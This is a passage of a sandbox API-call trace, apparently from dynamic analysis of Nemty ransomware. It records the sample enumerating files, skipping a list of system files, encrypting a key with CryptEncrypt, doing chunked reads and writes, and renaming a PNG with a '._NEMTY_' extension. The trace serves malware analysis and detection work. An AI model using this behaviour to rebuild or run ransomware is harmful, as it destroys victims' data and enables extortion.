(lpString1="play_hov.png", lpString2=".") returned 1 [0148.554] lstrcmpiW (lpString1="play_hov.png", lpString2="..") returned 1 [0148.554] lstrcmpiW (lpString1="play_hov.png", lpString2="...") returned 1 [0148.554] lstrcmpiW (lpString1="play_hov.png", lpString2="windows") returned -1 [0148.554] lstrcmpiW (lpString1="play_hov.png", lpString2="$RECYCLE.BIN") returned 1 [0148.554] lstrcmpiW (lpString1="play_hov.png", lpString2="rsa") returned -1 [0148.554] lstrcmpiW (lpString1="play_hov.png", lpString2="NTDETECT.COM") returned 1 [0148.554] lstrcmpiW (lpString1="play_hov.png", lpString2="ntldr") returned 1 [0148.554] lstrcmpiW (lpString1="play_hov.png", lpString2="MSDOS.SYS") returned 1 [0148.554] lstrcmpiW (lpString1="play_hov.png", lpString2="IO.SYS") returned 1 [0148.554] lstrcmpiW (lpString1="play_hov.png", lpString2="boot.ini") returned 1 [0148.554] lstrcmpiW (lpString1="play_hov.png", lpString2="boot.ini") returned 1 [0148.554] lstrcmpiW (lpString1="play_hov.png", lpString2="AUTOEXEC.BAT") returned 1 [0148.554] lstrcmpiW (lpString1="play_hov.png", lpString2="ntuser.dat") returned 1 [0148.554] lstrcmpiW (lpString1="play_hov.png", lpString2="desktop.ini") returned 1 [0148.555] lstrcmpiW (lpString1="play_hov.png", lpString2="CONFIG.SYS") returned 1 [0148.555] lstrcmpiW (lpString1="play_hov.png", lpString2="RECYCLER") returned -1 [0148.555] lstrcmpiW (lpString1="play_hov.png", lpString2="BOOTSECT.BAK") returned 1 [0148.555] lstrcmpiW (lpString1="play_hov.png", lpString2="bootmgr") returned 1 [0148.555] lstrcmpiW (lpString1="play_hov.png", lpString2="programdata") returned -1 [0148.555] lstrcmpiW (lpString1="play_hov.png", lpString2="appdata") returned 1 [0148.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_hov.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_hov.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play_hov.png", lpUsedDefaultChar=0x0) returned 12 [0148.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_hov.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_hov.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play_hov.png", lpUsedDefaultChar=0x0) returned 12 [0148.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_hov.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_hov.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play_hov.png", lpUsedDefaultChar=0x0) returned 12 [0148.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_hov.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_hov.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play_hov.png", lpUsedDefaultChar=0x0) returned 12 [0148.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0148.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0148.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0148.555] Sleep (dwMilliseconds=0x5) [0148.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc318ad0, dwHighDateTime=0x1d561e8)) [0148.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc318ad0, dwHighDateTime=0x1d561e8)) [0148.557] GetLastError () returned 0x5 [0148.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0148.557] GetLastError () returned 0x5 [0148.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0148.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.557] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0148.557] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0148.557] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0148.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0148.557] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="G6diPSlkTg+b+ah1t72xb5l9adoFuuQQ9a1R7sRLnvOa78bSEJoN28PaEc+w5fWY\r\ndliN20kdX0HGtTHEahQh8eIKazXcmkvjSvVzd3LPI9y9Q03+K2uDTj7VQYYpGBVI\r\nzohZm/SUjfldb1/rpyMEHKcpRbFZY68LCl/U/QUVtW17IN+AthDMBfis38HaHSjO\r\n2/AnszQ5DZwuDnnzpGhUhs7WpIarrnpMV0Kzbv4jMx06HqNHBU7xZIZEBgCyWBbW\r\nSEd1gTDhdWBS0CL2u1Aixggg2qwbOZpBlSGw80jZGc2kpkJmIsT7o+dMp0d3IMkv\r\nFaaYJnZWNdW2A3L0QkobtQ==\r\n", pcchString=0x653e91c) returned 1 [0148.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0148.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0148.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0148.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0148.557] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_hov.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0148.558] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0148.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0148.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.558] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.567] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.577] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.577] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.586] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.605] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.605] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.623] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.624] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.633] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.642] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.652] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.657] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.658] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0148.664] CloseHandle (hObject=0xffffffff) returned 0 [0148.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0148.664] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0148.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.664] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0148.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0148.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0148.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0148.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0148.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.664] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_hov.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_hov.png._nemty_kgobjgd_")) returned 0 [0148.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0148.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0148.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0148.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0148.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0148.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0148.664] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85bdc0f3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85bdc0f3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daa7e03, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb46, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="play_rest.png", cAlternateFileName="")) returned 1 [0148.664] lstrcmpiW (lpString1="play_rest.png", lpString2=".") returned 1 [0148.664] lstrcmpiW (lpString1="play_rest.png", lpString2="..") returned 1 [0148.664] lstrcmpiW (lpString1="play_rest.png", lpString2="...") returned 1 [0148.664] lstrcmpiW (lpString1="play_rest.png", lpString2="windows") returned -1 [0148.664] lstrcmpiW (lpString1="play_rest.png", lpString2="$RECYCLE.BIN") returned 1 [0148.664] lstrcmpiW (lpString1="play_rest.png", lpString2="rsa") returned -1 [0148.664] lstrcmpiW (lpString1="play_rest.png", lpString2="NTDETECT.COM") returned 1 [0148.664] lstrcmpiW (lpString1="play_rest.png", lpString2="ntldr") returned 1 [0148.664] lstrcmpiW (lpString1="play_rest.png", lpString2="MSDOS.SYS") returned 1 [0148.664] lstrcmpiW (lpString1="play_rest.png", lpString2="IO.SYS") returned 1 [0148.664] lstrcmpiW (lpString1="play_rest.png", lpString2="boot.ini") returned 1 [0148.665] lstrcmpiW (lpString1="play_rest.png", lpString2="boot.ini") returned 1 [0148.665] lstrcmpiW (lpString1="play_rest.png", lpString2="AUTOEXEC.BAT") returned 1 [0148.665] lstrcmpiW (lpString1="play_rest.png", lpString2="ntuser.dat") returned 1 [0148.665] lstrcmpiW (lpString1="play_rest.png", lpString2="desktop.ini") returned 1 [0148.665] lstrcmpiW (lpString1="play_rest.png", lpString2="CONFIG.SYS") returned 1 [0148.665] lstrcmpiW (lpString1="play_rest.png", lpString2="RECYCLER") returned -1 [0148.665] lstrcmpiW (lpString1="play_rest.png", lpString2="BOOTSECT.BAK") returned 1 [0148.665] lstrcmpiW (lpString1="play_rest.png", lpString2="bootmgr") returned 1 [0148.665] lstrcmpiW (lpString1="play_rest.png", lpString2="programdata") returned -1 [0148.665] lstrcmpiW (lpString1="play_rest.png", lpString2="appdata") returned 1 [0148.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_rest.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_rest.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play_rest.png", lpUsedDefaultChar=0x0) returned 13 [0148.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0148.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_rest.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_rest.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play_rest.png", lpUsedDefaultChar=0x0) returned 13 [0148.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_rest.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 